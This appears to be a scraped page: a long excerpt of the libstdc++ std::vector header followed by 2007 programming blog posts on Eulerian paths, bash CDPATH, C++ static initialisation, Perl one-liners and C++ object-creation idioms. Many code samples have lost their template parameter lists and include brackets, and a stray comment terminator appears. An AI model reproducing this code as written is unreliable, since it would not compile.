        vector(_InputIterator __first, _InputIterator __last,
           const allocator_type& __a = allocator_type())
    : _Base(__a)
        {
      // Check whether it's an integral type.  If so, it's not an iterator.
      typedef typename std::__is_integer<_InputIterator>::__type _Integral;
      _M_initialize_dispatch(__first, __last, _Integral());
    }

      /**
       *  The dtor only erases the elements, and note that if the
       *  elements themselves are pointers, the pointed-to memory is
       *  not touched in any way.  Managing the pointer is the user's
       *  responsibilty.
       */
      ~vector()
      { std::_Destroy(this->_M_impl._M_start, this->_M_impl._M_finish,
              _M_get_Tp_allocator());
      }

      /**
       *  @brief  %Vector assignment operator.
       *  @param  x  A %vector of identical element and allocator types.
       *
       *  All the elements of @a x are copied, but any extra memory in
       *  @a x (for fast expansion) will not be copied.  Unlike the
       *  copy constructor, the allocator object is not copied.
       */
      vector&
      operator=(const vector& __x);

      /**
       *  @brief  Assigns a given value to a %vector.
       *  @param  n  Number of elements to be assigned.
       *  @param  val  Value to be assigned.
       *
       *  This function fills a %vector with @a n copies of the given
       *  value.  Note that the assignment completely changes the
       *  %vector and that the resulting %vector's size is the same as
       *  the number of elements assigned.  Old data may be lost.
       */
      void
      assign(size_type __n, const value_type& __val)
      { _M_fill_assign(__n, __val); }

      /**
       *  @brief  Assigns a range to a %vector.
       *  @param  first  An input iterator.
       *  @param  last   An input iterator.
       *
       *  This function fills a %vector with copies of the elements in the
       *  range [first,last).
       *
       *  Note that the assignment completely changes the %vector and
       *  that the resulting %vector's size is the same as the number
       *  of elements assigned.  Old data may be lost.
       */
      template
        void
        assign(_InputIterator __first, _InputIterator __last)
        {
      // Check whether it's an integral type.  If so, it's not an iterator.
      typedef typename std::__is_integer<_InputIterator>::__type _Integral;
      _M_assign_dispatch(__first, __last, _Integral());
    }

      /// Get a copy of the memory allocation object.
      using _Base::get_allocator;

      // iterators
      /**
       *  Returns a read/write iterator that points to the first
       *  element in the %vector.  Iteration is done in ordinary
       *  element order.
       */
      iterator
      begin()
      { return iterator (this->_M_impl._M_start); }

      /**
       *  Returns a read-only (constant) iterator that points to the
       *  first element in the %vector.  Iteration is done in ordinary
       *  element order.
       */
      const_iterator
      begin() const
      { return const_iterator (this->_M_impl._M_start); }

      /**
       *  Returns a read/write iterator that points one past the last
       *  element in the %vector.  Iteration is done in ordinary
       *  element order.
       */
      iterator
      end()
      { return iterator (this->_M_impl._M_finish); }

      /**
       *  Returns a read-only (constant) iterator that points one past
       *  the last element in the %vector.  Iteration is done in
       *  ordinary element order.
       */
      const_iterator
      end() const
      { return const_iterator (this->_M_impl._M_finish); }

      /**
       *  Returns a read/write reverse iterator that points to the
       *  last element in the %vector.  Iteration is done in reverse
       *  element order.
       */
      reverse_iterator
      rbegin()
      { return reverse_iterator(end()); }

      /**
       *  Returns a read-only (constant) reverse iterator that points
       *  to the last element in the %vector.  Iteration is done in
       *  reverse element order.
       */
      const_reverse_iterator
      rbegin() const
      { return const_reverse_iterator(end()); }

      /**
       *  Returns a read/write reverse iterator that points to one
       *  before the first element in the %vector.  Iteration is done
       *  in reverse element order.
       */
      reverse_iterator
      rend()
      { return reverse_iterator(begin()); }

      /**
       *  Returns a read-only (constant) reverse iterator that points
       *  to one before the first element in the %vector.  Iteration
       *  is done in reverse element order.
       */
      const_reverse_iterator
      rend() const
      { return const_reverse_iterator(begin()); }

      // [23.2.4.2] capacity
      /**  Returns the number of elements in the %vector.  */
      size_type
      size() const
      { return size_type(end() - begin()); }

      /**  Returns the size() of the largest possible %vector.  */
      size_type
      max_size() const
      { return size_type(-1) / sizeof(value_type); }

      /**
       *  @brief  Resizes the %vector to the specified number of elements.
       *  @param  new_size  Number of elements the %vector should contain.
       *  @param  x  Data with which new elements should be populated.
       *
       *  This function will %resize the %vector to the specified
       *  number of elements.  If the number is smaller than the
       *  %vector's current size the %vector is truncated, otherwise
       *  the %vector is extended and new elements are populated with
       *  given data.
       */
      void
      resize(size_type __new_size, value_type __x = value_type())
      {
    if (__new_size < size())
      erase(begin() + __new_size, end());
    else
      insert(end(), __new_size - size(), __x);
      }

      /**
       *  Returns the total number of elements that the %vector can
       *  hold before needing to allocate more memory.
       */
      size_type
      capacity() const
      { return size_type(const_iterator(this->_M_impl._M_end_of_storage)
             - begin()); }

      /**
       *  Returns true if the %vector is empty.  (Thus begin() would
       *  equal end().)
       */
      bool
      empty() const
      { return begin() == end(); }

      /**
       *  @brief  Attempt to preallocate enough memory for specified number of
       *          elements.
       *  @param  n  Number of elements required.
       *  @throw  std::length_error  If @a n exceeds @c max_size().
       *
       *  This function attempts to reserve enough memory for the
       *  %vector to hold the specified number of elements.  If the
       *  number requested is more than max_size(), length_error is
       *  thrown.
       *
       *  The advantage of this function is that if optimal code is a
       *  necessity and the user can determine the number of elements
       *  that will be required, the user can reserve the memory in
       *  %advance, and thus prevent a possible reallocation of memory
       *  and copying of %vector data.
       */
      void
      reserve(size_type __n);

      // element access
      /**
       *  @brief  Subscript access to the data contained in the %vector.
       *  @param n The index of the element for which data should be
       *  accessed.
       *  @return  Read/write reference to data.
       *
      *
       *  This operator allows for easy, array-style, data access.
       *  Note that data access with this operator is unchecked and
       *  out_of_range lookups are not defined. (For checked lookups
       *  see at().)
       */
      reference
      operator[](size_type __n)
      { return *(begin() + __n); }

      /**
       *  @brief  Subscript access to the data contained in the %vector.
       *  @param n The index of the element for which data should be
       *  accessed.
       *  @return  Read-only (constant) reference to data.
       *
       *  This operator allows for easy, array-style, data access.
       *  Note that data access with this operator is unchecked and
       *  out_of_range lookups are not defined. (For checked lookups
       *  see at().)
       */
      const_reference
      operator[](size_type __n) const
      { return *(begin() + __n); }

    protected:
      /// @if maint Safety check used only from at().  @endif
      void
      _M_range_check(size_type __n) const
      {
    if (__n >= this->size())
      __throw_out_of_range(__N("vector::_M_range_check"));
      }

    public:
      /**
       *  @brief  Provides access to the data contained in the %vector.
       *  @param n The index of the element for which data should be
       *  accessed.
       *  @return  Read/write reference to data.
       *  @throw  std::out_of_range  If @a n is an invalid index.
       *
       *  This function provides for safer data access.  The parameter
       *  is first checked that it is in the range of the vector.  The
       *  function throws out_of_range if the check fails.
       */
      reference
      at(size_type __n)
      {
    _M_range_check(__n);
    return (*this)[__n];
      }

      /**
       *  @brief  Provides access to the data contained in the %vector.
       *  @param n The index of the element for which data should be
       *  accessed.
       *  @return  Read-only (constant) reference to data.
       *  @throw  std::out_of_range  If @a n is an invalid index.
       *
       *  This function provides for safer data access.  The parameter
       *  is first checked that it is in the range of the vector.  The
       *  function throws out_of_range if the check fails.
       */
      const_reference
      at(size_type __n) const
      {
    _M_range_check(__n);
    return (*this)[__n];
      }

      /**
       *  Returns a read/write reference to the data at the first
       *  element of the %vector.
       */
      reference
      front()
      { return *begin(); }

      /**
       *  Returns a read-only (constant) reference to the data at the first
       *  element of the %vector.
       */
      const_reference
      front() const
      { return *begin(); }

      /**
       *  Returns a read/write reference to the data at the last
       *  element of the %vector.
       */
      reference
      back()
      { return *(end() - 1); }

      /**
       *  Returns a read-only (constant) reference to the data at the
       *  last element of the %vector.
       */
      const_reference
      back() const
      { return *(end() - 1); }

      // _GLIBCXX_RESOLVE_LIB_DEFECTS
      // DR 464. Suggestion for new member functions in standard containers.
      // data access
      /**
       *   Returns a pointer such that [data(), data() + size()) is a valid
       *   range.  For a non-empty %vector, data() == &front().
       */
      pointer
      data()
      { return pointer(this->_M_impl._M_start); }

      const_pointer
      data() const
      { return const_pointer(this->_M_impl._M_start); }

      // [23.2.4.3] modifiers
      /**
       *  @brief  Add data to the end of the %vector.
       *  @param  x  Data to be added.
       *
       *  This is a typical stack operation.  The function creates an
       *  element at the end of the %vector and assigns the given data
       *  to it.  Due to the nature of a %vector this operation can be
       *  done in constant time if the %vector has preallocated space
       *  available.
       */
       */
      void
      push_back(const value_type& __x)
      {
    if (this->_M_impl._M_finish != this->_M_impl._M_end_of_storage)
      {
        this->_M_impl.construct(this->_M_impl._M_finish, __x);
        ++this->_M_impl._M_finish;
      }
    else
      _M_insert_aux(end(), __x);
      }

      /**
       *  @brief  Removes last element.
       *
       *  This is a typical stack operation. It shrinks the %vector by one.
       *
       *  Note that no data is returned, and if the last element's
       *  data is needed, it should be retrieved before pop_back() is
       *  called.
       */
      void
      pop_back()
      {
    --this->_M_impl._M_finish;
    this->_M_impl.destroy(this->_M_impl._M_finish);
      }

      /**
       *  @brief  Inserts given value into %vector before specified iterator.
       *  @param  position  An iterator into the %vector.
       *  @param  x  Data to be inserted.
       *  @return  An iterator that points to the inserted data.
       *
       *  This function will insert a copy of the given value before
       *  the specified location.  Note that this kind of operation
       *  could be expensive for a %vector and if it is frequently
       *  used the user should consider using std::list.
       */
      iterator
      insert(iterator __position, const value_type& __x);

      /**
       *  @brief  Inserts a number of copies of given data into the %vector.
       *  @param  position  An iterator into the %vector.
       *  @param  n  Number of elements to be inserted.
       *  @param  x  Data to be inserted.
       *
       *  This function will insert a specified number of copies of
       *  the given data before the location specified by @a position.
       *
       *  Note that this kind of operation could be expensive for a
       *  %vector and if it is frequently used the user should
       *  consider using std::list.
       */
      void
      insert(iterator __position, size_type __n, const value_type& __x)
      { _M_fill_insert(__position, __n, __x); }

      /**
       *  @brief  Inserts a range into the %vector.
       *  @param  position  An iterator into the %vector.
       *  @param  first  An input iterator.
       *  @param  last   An input iterator.
       *
       *  This function will insert copies of the data in the range
       *  [first,last) into the %vector before the location specified
       *  by @a pos.
       *
       *  Note that this kind of operation could be expensive for a
       *  %vector and if it is frequently used the user should
       *  consider using std::list.
       */
      template
        void
        insert(iterator __position, _InputIterator __first,
           _InputIterator __last)
        {
      // Check whether it's an integral type.  If so, it's not an iterator.
      typedef typename std::__is_integer<_InputIterator>::__type _Integral;
      _M_insert_dispatch(__position, __first, __last, _Integral());
    }

      /**
       *  @brief  Remove element at given position.
       *  @param  position  Iterator pointing to element to be erased.
       *  @return  An iterator pointing to the next element (or end()).
       *
       *  This function will erase the element at the given position and thus
       *  shorten the %vector by one.
       *
       *  Note This operation could be expensive and if it is
       *  frequently used the user should consider using std::list.
       *  The user is also cautioned that this function only erases
       *  the element, and that if the element is itself a pointer,
       *  the pointed-to memory is not touched in any way.  Managing
       *  the pointer is the user's responsibilty.
       */
      iterator
      erase(iterator __position);

      /**
       *  @brief  Remove a range of elements.
       *  @param  first  Iterator pointing to the first element to be erased.
       *  @param  last  Iterator pointing to one past the last element to be
       *                erased.
       *  @return  An iterator pointing to the element pointed to by @a last
       *           prior to erasing (or end()).
       *
       *  This function will erase the elements in the range [first,last) and
       *  shorten the %vector accordingly.
       *
       *  Note This operation could be expensive and if it is
       *  frequently used the user should consider using std::list.
       *  The user is also cautioned that this function only erases
       *  the elements, and that if the elements themselves are
       *  pointers, the pointed-to memory is not touched in any way.
       *  Managing the pointer is the user's responsibilty.
       */
      iterator
      erase(iterator __first, iterator __last);

      /**
       *  @brief  Swaps data with another %vector.
       *  @param  x  A %vector of the same element and allocator types.
       *
       *  This exchanges the elements between two vectors in constant time.
       *  (Three pointers, so it should be quite fast.)
       *  Note that the global std::swap() function is specialized such that
       *  std::swap(v1,v2) will feed to this function.
       */
      void
      swap(vector& __x)
      {
    std::swap(this->_M_impl._M_start, __x._M_impl._M_start);
    std::swap(this->_M_impl._M_finish, __x._M_impl._M_finish);
    std::swap(this->_M_impl._M_end_of_storage,
          __x._M_impl._M_end_of_storage);
      }

      /**
       *  Erases all the elements.  Note that this function only erases the
       *  elements, and that if the elements themselves are pointers, the
       *  pointed-to memory is not touched in any way.  Managing the pointer is
       *  the user's responsibilty.
       */
      void
      clear()
      {
    std::_Destroy(this->_M_impl._M_start, this->_M_impl._M_finish,
              _M_get_Tp_allocator());
    this->_M_impl._M_finish = this->_M_impl._M_start;
      }

    protected:
      /**
       *  @if maint
       *  Memory expansion handler.  Uses the member allocation function to
       *  obtain @a n bytes of memory, and then copies [first,last) into it.
       *  @endif
       */
      template
        pointer
        _M_allocate_and_copy(size_type __n,
                 _ForwardIterator __first, _ForwardIterator __last)
        {
      pointer __result = this->_M_allocate(__n);
      try
        {
          std::__uninitialized_copy_a(__first, __last, __result,
                      _M_get_Tp_allocator());
          return __result;
        }
      catch(...)
        {
          _M_deallocate(__result, __n);
          __throw_exception_again;
        }
    }


      // Internal constructor functions follow.

      // Called by the range constructor to implement [23.1.1]/9
      template
        void
        _M_initialize_dispatch(_Integer __n, _Integer __value, __true_type)
        {
      this->_M_impl._M_start = _M_allocate(__n);
      this->_M_impl._M_end_of_storage = this->_M_impl._M_start + __n;
      std::__uninitialized_fill_n_a(this->_M_impl._M_start, __n, __value,
                    _M_get_Tp_allocator());
      this->_M_impl._M_finish = this->_M_impl._M_end_of_storage;
    }

      // Called by the range constructor to implement [23.1.1]/9
      template
        void
        _M_initialize_dispatch(_InputIterator __first, _InputIterator __last,
                   __false_type)
        {
      typedef typename std::iterator_traits<_InputIterator>::
        iterator_category _IterCategory;
      _M_range_initialize(__first, __last, _IterCategory());
    }

      // Called by the second initialize_dispatch above
      template
        void
        _M_range_initialize(_InputIterator __first,
                _InputIterator __last, std::input_iterator_tag)
        {
      for (; __first != __last; ++__first)
        push_back(*__first);
    }

      // Called by the second initialize_dispatch above
      template
        void
        _M_range_initialize(_ForwardIterator __first,
                _ForwardIterator __last, std::forward_iterator_tag)
        {
      const size_type __n = std::distance(__first, __last);
      this->_M_impl._M_start = this->_M_allocate(__n);
      this->_M_impl._M_end_of_storage = this->_M_impl._M_start + __n;
      this->_M_impl._M_finish =
        std::__uninitialized_copy_a(__first, __last,
                    this->_M_impl._M_start,
                    _M_get_Tp_allocator());
    }


      // Internal assign functions follow.  The *_aux functions do the actual
      // assignment work for the range versions.

      // Called by the range assign to implement [23.1.1]/9
      template
        void
        _M_assign_dispatch(_Integer __n, _Integer __val, __true_type)
        {
      _M_fill_assign(static_cast(__n),
             static_cast(__val));
    }

      // Called by the range assign to implement [23.1.1]/9
      template
        void
        _M_assign_dispatch(_InputIterator __first, _InputIterator __last,
               __false_type)
        {
      typedef typename std::iterator_traits<_InputIterator>::
        iterator_category _IterCategory;
      _M_assign_aux(__first, __last, _IterCategory());
    }

      // Called by the second assign_dispatch above
      template
        void
        _M_assign_aux(_InputIterator __first, _InputIterator __last,
              std::input_iterator_tag);

      // Called by the second assign_dispatch above
      template
        void
        _M_assign_aux(_ForwardIterator __first, _ForwardIterator __last,
              std::forward_iterator_tag);

      // Called by assign(n,t), and the range assign when it turns out
      // to be the same thing.
      void
      _M_fill_assign(size_type __n, const value_type& __val);


      // Internal insert functions follow.

      // Called by the range insert to implement [23.1.1]/9
      template
        void
        _M_insert_dispatch(iterator __pos, _Integer __n, _Integer __val,
               __true_type)
        {
      _M_fill_insert(__pos, static_cast(__n),
             static_cast(__val));
    }

      // Called by the range insert to implement [23.1.1]/9
      template
        void
        _M_insert_dispatch(iterator __pos, _InputIterator __first,
               _InputIterator __last, __false_type)
        {
      typedef typename std::iterator_traits<_InputIterator>::
        iterator_category _IterCategory;
      _M_range_insert(__pos, __first, __last, _IterCategory());
    }

      // Called by the second insert_dispatch above
      template
        void
        _M_range_insert(iterator __pos, _InputIterator __first,
            _InputIterator __last, std::input_iterator_tag);

      // Called by the second insert_dispatch above
      template
        void
        _M_range_insert(iterator __pos, _ForwardIterator __first,
            _ForwardIterator __last, std::forward_iterator_tag);

      // Called by insert(p,n,x), and the range insert when it turns out to be
      // the same thing.
      void
      _M_fill_insert(iterator __pos, size_type __n, const value_type& __x);

      // Called by insert(p,x)
      void
      _M_insert_aux(iterator __position, const value_type& __x);
    };


  /**
   *  @brief  Vector equality comparison.
   *  @param  x  A %vector.
   *  @param  y  A %vector of the same type as @a x.
   *  @return  True iff the size and elements of the vectors are equal.
   *
   *  This is an equivalence relation.  It is linear in the size of the
   *  vectors.  Vectors are considered equivalent if their sizes are equal,
   *  and if corresponding elements compare equal.
  */
  template
    inline bool
    operator==(const vector<_Tp, _Alloc>& __x, const vector<_Tp, _Alloc>& __y)
    { return (__x.size() == __y.size()
          && std::equal(__x.begin(), __x.end(), __y.begin())); }

  /**
   *  @brief  Vector ordering relation.
   *  @param  x  A %vector.
   *  @param  y  A %vector of the same type as @a x.
   *  @return  True iff @a x is lexicographically less than @a y.
   *
   *  This is a total ordering relation.  It is linear in the size of the
   *  vectors.  The elements must be comparable with @c <.
   *
   *  See std::lexicographical_compare() for how the determination is made.
  */
  template
    inline bool
    operator<(const vector<_Tp, _Alloc>& __x, const vector<_Tp, _Alloc>& __y)
    { return std::lexicographical_compare(__x.begin(), __x.end(),
                      __y.begin(), __y.end()); }

  /// Based on operator==
  template
    inline bool
    operator!=(const vector<_Tp, _Alloc>& __x, const vector<_Tp, _Alloc>& __y)
    { return !(__x == __y); }

  /// Based on operator<
  template
    inline bool
    operator>(const vector<_Tp, _Alloc>& __x, const vector<_Tp, _Alloc>& __y)
    { return __y < __x; }

  /// Based on operator<
  template
    inline bool
    operator<=(const vector<_Tp, _Alloc>& __x, const vector<_Tp, _Alloc>& __y)
    { return !(__y < __x); }

  /// Based on operator<
  template
    inline bool
    operator>=(const vector<_Tp, _Alloc>& __x, const vector<_Tp, _Alloc>& __y)
    { return !(__x < __y); }

  /// See std::vector::swap().
  template
    inline void
    swap(vector<_Tp, _Alloc>& __x, vector<_Tp, _Alloc>& __y)
    { __x.swap(__y); }
} // namespace std

#endif /* _VECTOR_H */

The Eulerian Path Problem

2007-06-18T09:55:00.001-05:00

The Euleraian Problem originated from the Seven Bridges of Konigsberg http://en.wikipedia.org/wiki/Seven_Bridges_of_K%C3%B6nigsberg. The abstraction of the problem is to construct an Eulerian Path http://en.wikipedia.org/wiki/Eulerian_path

Here I implemented an algoirthm based on http://tuxv.blogspot.com/2007/05/eulerian-path.html. The problem with the original solution is that the author seems confused with directed and undirected graph. Essentially, the Eulerian Path solves a problem of a directed graph (although the appearance of the graph may be undirected). The clever discovery here is that an edge can be walked only once thus making it directed when exploring a solution.

Quote:
Constructing Eulerian paths and cycles

Consider a graph known to have all edges in the same component and at most two vertices of odd degree. We can construct an Eulerian path (not a cycle) out of this graph by using Fleury's algorithm, which dates to 1883. We start with a vertex of odd degree—if the graph has none, then start with any vertex. At each step we move across an edge whose deletion does not result in more than one connected component, unless we have no choice, then we delete that edge. At the end of the algorithm there are no edges left, and the sequence of edges we moved across forms an Eulerian cycle if the graph has no vertices of odd degree or an Eulerian path if there are two vertices of odd degree.

The definition of a Hamiltonian path is very similar (a Hamiltonian path visits every vertex exactly once, while an Eulerian path visits every edge exactly once). In practice, however, it is much more difficult to construct a Hamiltonian path or determine whether a graph is Hamiltonian, as that problem is NP-complete

Following is the C++ source code:



#include < iostream>
#include < vector>
#include < list>

using namespace std;
#define N 4
/*
int bridges[N][N] = {
    {0, 1, 0, 1},
    {1, 0, 1, 1},
    {0, 1, 0, 1},
    {0, 0, 0, 0},
};
*/
int bridges[N][N] = {
    {0, 1, 0, 1},
    {1, 0, 1, 1},
    {0, 1, 0, 1},
    {0, 0, 1, 0},
};

#define graph bridges

list< int> path;

void walk(int src){
    for(int i = 0; i < N; i ++)
        if(graph[src][i]){
            graph[src][i] = 0;
            walk(i);
        }else{
            if(graph[i][src]){
                graph[i][src] = 0;
                walk(i);
            }
        }
    path.push_back(src);
}

int main(){
    walk(0);

    while(!path.empty()){
        cout << path.back() << endl;
        path.pop_back();
    }
}

The graph (ajacency-matrix represention) is directed because it's not symmetric (the transpose is not equal to the original matrix). The problem solver has the freedom to choose a direction for an edge. When designing the ajacency-matrix, it's important to observe the rule that one must start from a node with odd degree. Suppose the node is numbered s, and it has 2k+1 degree, then it must have k+1 outgoing edges and k incoming edges.

CDPATH in bash

2007-06-13T16:34:00.000-05:00

What does CDPATH do? It provides a shortcut to bash to change directory. For example, there is
a working directory called
/home/user/abc/efg/hik/lmn/123/456/
under which there are dir1, dir2, dir4..etc

To change directory, one has to type cd /home/user/abc/efg/hik/lmn/123/456/dir1 to get to dir1. This can be aggravating as one can imagine. CDPATH is a envrionment setting for bash such that one can set it up as export CDPATH=/home/user/abc/efg/hik/lmn/123/456/, next time one just needs to type cd dir1 to get to dir1, so on and so forth.

However, this setting can interfere with GNU make system. Or any non-interactive script that has cd command inside. It's recommended that one 'unset CDPATH' before 'make' or long hours of head scratching can follow.

C++ When is a function static variable initialized?

2007-05-23T13:20:00.001-05:00

The following code is a rewrite of a singleton implementation presented on clc++ recently:
typedef unsigned int size_t;
class singleton{
public:
static singleton& create(){
static singleton * s = new singleton;
return *s;
}
static int shift(int x){
static int shift_by = 10;
x = shift_by + x;
shift_by = x;
return x;
}
private:
static void * operator new(size_t size){ }
singleton(){}
~singleton(){}
};

int main(){
singleton& s = singleton::create();
int x = 3;
singleton::shift(x);
}

The question was when singleton::create::s was initialized? I immediately thought this code was wrong because in a previous blog entry I have investigated how static variables are initialized inside a function. But at that time, I was investigating plain old data types (POD).

It turns out, as suggested, C++ has a more complicated scheme to initialize function static variables depending on the variable type, as in §6.7/4. Compiler is free to generate code to initialize the variable on the first possible entry to the function to initialize it. For POD and some types, compiler can, at compile time, initialize the variable on the .bss or .data segment. Let's see what's going on under the hood. Again we'll use the assembly output from g++ to investigate g++ behavior. Check out the symbol table portion of the assembly output of this c++ source file (g++ -s -c file.cpp):

.LFE11:
.size main, .-main
.weak _ZGVZN9singleton6createEvE1s
.section .bss._ZGVZN9singleton6createEvE1s,"awG",@nobits,_ZGVZN9singleton6createEvE1s,comdat
.align 8
.type _ZGVZN9singleton6createEvE1s, @object
.size _ZGVZN9singleton6createEvE1s, 8
_ZGVZN9singleton6createEvE1s:
.zero 8
.weak _ZZN9singleton6createEvE1s
.section .bss._ZZN9singleton6createEvE1s,"awG",@nobits,_ZZN9singleton6createEvE1s,comdat
.align 4
.type _ZZN9singleton6createEvE1s, @object
.size _ZZN9singleton6createEvE1s, 4
_ZZN9singleton6createEvE1s:
.zero 4
.weak _ZZN9singleton5shiftEiE8shift_by
.section .data._ZZN9singleton5shiftEiE8shift_by,"awG",@progbits,_ZZN9singleton5shiftEiE8shift_by,comdat
.align 4
.type _ZZN9singleton5shiftEiE8shift_by, @object
.size _ZZN9singleton5shiftEiE8shift_by, 4
_ZZN9singleton5shiftEiE8shift_by:
.long 10
.ident "GCC: (GNU) 4.1.1 20060525 (Red Hat 4.1.1-1)"
.section .note.GNU-stack,"",@progbits

The code for singleton::create:

_ZN9singleton6createEv:
.LFB2:
pushl %ebp
.LCFI6:
movl %esp, %ebp
.LCFI7:
pushl %ebx
.LCFI8:
subl $4, %esp
.LCFI9:
movl $_ZGVZN9singleton6createEvE1s, %eax
movzbl (%eax), %eax
testb %al, %al
jne .L8 <------------initialize on demand
movl $_ZGVZN9singleton6createEvE1s, (%esp)
call __cxa_guard_acquire
testl %eax, %eax
setne %al
testb %al, %al
je .L8
movl $1, (%esp)
call _ZN9singletonnwEj
movl %eax, %ebx
movl %ebx, (%esp)
call _ZN9singletonC1Ev
movl %ebx, _ZZN9singleton6createEvE1s
movl $_ZGVZN9singleton6createEvE1s, (%esp)
call __cxa_guard_release
.L8:
movl _ZZN9singleton6createEvE1s, %eax
addl $4, %esp
popl %ebx
popl %ebp
ret

assembly for singleton::shift:

_ZN9singleton5shiftEi:
.LFB3:
pushl %ebp
.LCFI0:
movl %esp, %ebp
.LCFI1:
movl _ZZN9singleton5shiftEiE8shift_by, %eax <--- already initialized, memory copy
addl %eax, 8(%ebp)
movl 8(%ebp), %eax
movl %eax, _ZZN9singleton5shiftEiE8shift_by
movl 8(%ebp), %eax
popl %ebp
ret

Perl one liners: Part I

2007-05-17T14:06:00.000-05:00

Sometimes Perl can be used in mysterious ways yet provides powerful facility to simplify code and
at the same time to improve its efficiency.

1. For example, the following code computes the current hour and minute of local time:

my @time = localtime(time);
my ($hour, $minute) = @time[2, 1];

To achive one liner, we can use the trick of Perl array copy construct. Array is copied by dereference the reference of original array:

my ($hour, $minute) = @{[localtime(time)]}[2, 1];

In both examples, a temporary array is created.

It's possible to avoid creating temporary array, but only one scalar variable can be retrieved:

my $hour = [localtime(time)]->[2];

2. Printing a 2 dimensional array

my @ar = ([1,2], [3,4], [5, 6]);

map { print join (', ', @$_); print "\n"; } @ar;

map is a particular powerful facility in Perl language. Beginners of Perl often found map code hard to understand and use. Do not be afraid. The essen of map is simply applying a code block or expression to every element of a list (usually an array or keys/values of a hash).

C++ Creating custom exception class

2007-05-16T14:00:00.000-05:00

The following code segment demonstrates how to create a C++ custom exception class. The important thing to note is that the base exception:what() function has the following signature:
const char * what() const throw()

Thus to override the base exception::what function, the custom exception class must declare the function signature properly otherwise, it becomes a case of function name hidding as explained in one of the previous C++ articles.

class Exception : public exception
{
public:
Exception(string m="exception!") : msg(m) {}
~Exception() throw() {}
const char* what() const throw() { return msg.c_str(); }

private:
string msg;
};

int main()
{
try
{
throw Exception();
}
catch(exception& e)
{
cout << e.what() << endl;
}

return 0;
}

C++: Static class members awes

2007-05-08T12:51:00.000-05:00

>> I read the following sentence from a c++ website, but can not
>> understand why. can anyone help me with it?
>>
>> "
>> An important detail to keep in mind when debugging or implementing a
>> program using a static class member is that you cannot initialize the
>> static class member inside of the class. In fact, if you decide to put
>> your code in a header file, you cannot even initialize the static
>> variable inside of the header file; do it in a .cpp file instead.
>>
>> "
>
> The Standard requires that every static data member is defined at the
> namespace level. In order to comply with the One Definition rule, you
> are more likely to succeed if you place the definition of the static
> data member in a .cpp file (instead of a header which can be included
> in more than one translation unit). Initialisation accompanies the
> definition. That's why you should initialise static data members in
> a .cpp file (and only in one .cpp file).

Initialization accompanies definition of a constant except in the case when a declaration of a static constant in a class supplies the initializer, in which case the definition (if any, and then outside the class) is sans initializer.

Example:

struct S
{
static int const x = 42; // Not a definition, per §9.4.2/2.
};

If the address of S::x is used, or in the standard's terminology, if S::x is "used", a definition is formally (but with current compilers not necessarily in practice) required, outside the class:

int const S::x; // A definition, per §9.4.2/4.

This construct is only supported for integral types and/including enum types.

C++ stack only object

2007-04-25T09:30:00.000-05:00

To complete the discussion on object creation constraint by memory location. We shall see how one can force object creation on stack only. Again, the code is very simple:

class A{
private:
void * operator new(size_t size) {}
};

int main(){
A a;
A * b;
A * c = new A;
}

One needs to declare a private 'operator new' in stack only bound object. The trick is this: C++ distinguishes between 'new operator' (as used in A * c = new A) and 'operator new' (declared in class A). However, beneath the hood, 'new operator' calls 'operator new' to dynamically allocate an object. Once the 'operator new' is declared as private, the built-in 'new operator' can no longer access it and such a class cannot be instantiated on heap.

C++ heap only object

2007-04-25T09:19:00.001-05:00

> Hi all,
> All I want to achieve is restricting the object instantiation in stack
> and allowing the application to instantiate the object only in heap
> using new operator. How to achieve this?
>
> I tried out with the following code.
> Could you please give me the reason for the compilation error for the
> following code:
>
> #include < iostream>
>
> class Temp
> {
> public:
> friend void* ::operator new (size_t);
> friend void ::operator delete (void* pDel);
> private:
> Temp ()
> {
> std::cout << "Temp Ctor" <<; }
> ~Temp ()
> {
> std::cout << "Temp Dtor" <<; }
> };
>
> int
> main ()
> {
> Temp *pT = new Temp;
> delete pT;
>
> // Temp tempObj; // Should be disallowed
> return 0;
> }
>
> Compilation error received:
> ---------------------------------------
> heap.cpp: In function 'int main()':
> heap.cpp:9: error: 'Temp::Temp()' is private
> heap.cpp:22: error: within this context
> heap.cpp:13: error: 'Temp::~Temp()' is private
> heap.cpp:23: error: within this context
>
> Please help me in instantiating the Temp object only in heap, not in
> stack.
>
> thanks
> Sukumar R
>

This code is overly complicated, to prevent object creation/destruction on stack, one just needs to declare a private destructor. Think about the life time of a stack object. It's created upon entrance of the function and destroyed before leaving the function. The compiler must have access to both constructors and destructor. It's inconvenient or maybe undesirable to declare private constructors but it's always straightforward to declare a private destructor.

It's easy to make mistakes while coding C++

2007-04-24T15:41:00.001-05:00

I was reading CLC++ today and found this little gem. It's got 3 glaring problems in 23 lines of C++ code.

Guys, I have the following piece of code. Could you please help me understand why
b.ToString( ) cannot be called while b.foo( ) can? When I compile I get (gcc, but visual studio gives the same pretty much). Thanks

$ g++ -Wall foo.cpp
foo.cpp: In function `int main(int, char**)':
foo.cpp:21: error: no matching function for call to `Bar::ToString()'
foo.cpp:14: note: candidates are: virtual std::string Bar::ToString(std::string&) const

#include < stdlib.h>
#include < string>
using namespace std;

template < typename> class Foo {
public:
virtual std::string ToString (std::string& pfx) const = 0;
std::string ToString ( ) const { return(ToString(std::string( ))); }
virtual void* _foo ( ) const = 0;
void* foo( ) const { return (_foo( )); }
};

class Bar: public Foo< int> {
public:
std::string ToString (std::string& pfx) const { return (std::string("test")); }
void* _foo ( ) const { return(NULL); }
};

int main (int argc, char **argv) {
Bar b;
b.foo( );
b.ToString( );
return (0);
}

Gratz, you have manged to demonstrate two C++ gotchas in your short code: binding temporaries to non-const reference and name hiding. When derived class uses same name declared in base class, the name in base class is hidden. The example below is how you fix them:

#include < stdlib.h>
#include < string>
using namespace std;

template < typename> class Foo {
public:
virtual std::string ToString (const std::string& pfx) const = 0;
std::string ToString ( ) const { return(ToString(std::string( ))); }
virtual void* _foo ( ) const = 0;
void* foo( ) const { return (_foo( )); }
virtual ~Foo(){}
};

class Bar: public Foo< int> {
public:
using Foo< int>::ToString;
std::string ToString (const std::string& pfx) const { return (std::string("test")); }
void* _foo ( ) const { return(NULL); }
};

int main (int argc, char **argv) {
Bar b;
b.foo( );
b.ToString( );
return (0);
}

Although arguably it's not an issue in this short example, but make it a habit to declare a virtual destructor in the base virtual class. It'll save a lot of headache in the future.

reference type cannot be reseated in C++

2007-04-20T14:44:00.000-05:00

In C++, a variable can be declared as a reference to a referent object. There are some benefits with reference types, they must be initialized upon construction (note not declaration), for example,

int x;
int & rx = x;
// int & rxa = x ! Compile error: error: ‘rxa’ declared as reference but not initialized

class A {
int & rx;
A (int x): rx(x){ }
};

